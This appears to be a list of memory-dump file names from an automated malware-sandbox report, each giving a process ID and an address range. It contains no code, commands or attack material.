memory/3436-2696-0x00007FF6AEDF0000-0x00007FF6AF1E6000-memory.dmp
memory/3816-242-0x00007FF7C4FF0000-0x00007FF7C53E6000-memory.dmp
memory/3816-2714-0x00007FF7C4FF0000-0x00007FF7C53E6000-memory.dmp
memory/3892-83-0x00007FF671240000-0x00007FF671636000-memory.dmp
memory/3892-2700-0x00007FF671240000-0x00007FF671636000-memory.dmp
memory/3904-81-0x00007FF626220000-0x00007FF626616000-memory.dmp
memory/3904-2702-0x00007FF626220000-0x00007FF626616000-memory.dmp
memory/4048-2710-0x00007FF626C70000-0x00007FF627066000-memory.dmp
memory/4048-212-0x00007FF626C70000-0x00007FF627066000-memory.dmp
memory/4092-149-0x00000226F9ED0000-0x00000226FA676000-memory.dmp
memory/4092-1599-0x00007FF9D6760000-0x00007FF9D7221000-memory.dmp
memory/4092-2285-0x00007FF9D6763000-0x00007FF9D6765000-memory.dmp
memory/4092-26-0x00007FF9D6763000-0x00007FF9D6765000-memory.dmp
memory/4092-72-0x00000226F9270000-0x00000226F9292000-memory.dmp
memory/4092-63-0x00007FF9D6760000-0x00007FF9D7221000-memory.dmp
memory/4092-51-0x00007FF9D6760000-0x00007FF9D7221000-memory.dmp
memory/4244-2699-0x00007FF77E4B0000-0x00007FF77E8A6000-memory.dmp
memory/4244-86-0x00007FF77E4B0000-0x00007FF77E8A6000-memory.dmp
memory/4452-2697-0x00007FF700CF0000-0x00007FF7010E6000-memory.dmp
memory/4452-66-0x00007FF700CF0000-0x00007FF7010E6000-memory.dmp
memory/4636-2707-0x00007FF67E580000-0x00007FF67E976000-memory.dmp
memory/4636-2486-0x00007FF67E580000-0x00007FF67E976000-memory.dmp
memory/4636-98-0x00007FF67E580000-0x00007FF67E976000-memory.dmp
memory/4744-2712-0x00007FF686B80000-0x00007FF686F76000-memory.dmp
memory/4744-162-0x00007FF686B80000-0x00007FF686F76000-memory.dmp
memory/5040-87-0x00007FF6826A0000-0x00007FF682A96000-memory.dmp
memory/5040-2706-0x00007FF6826A0000-0x00007FF682A96000-memory.dmp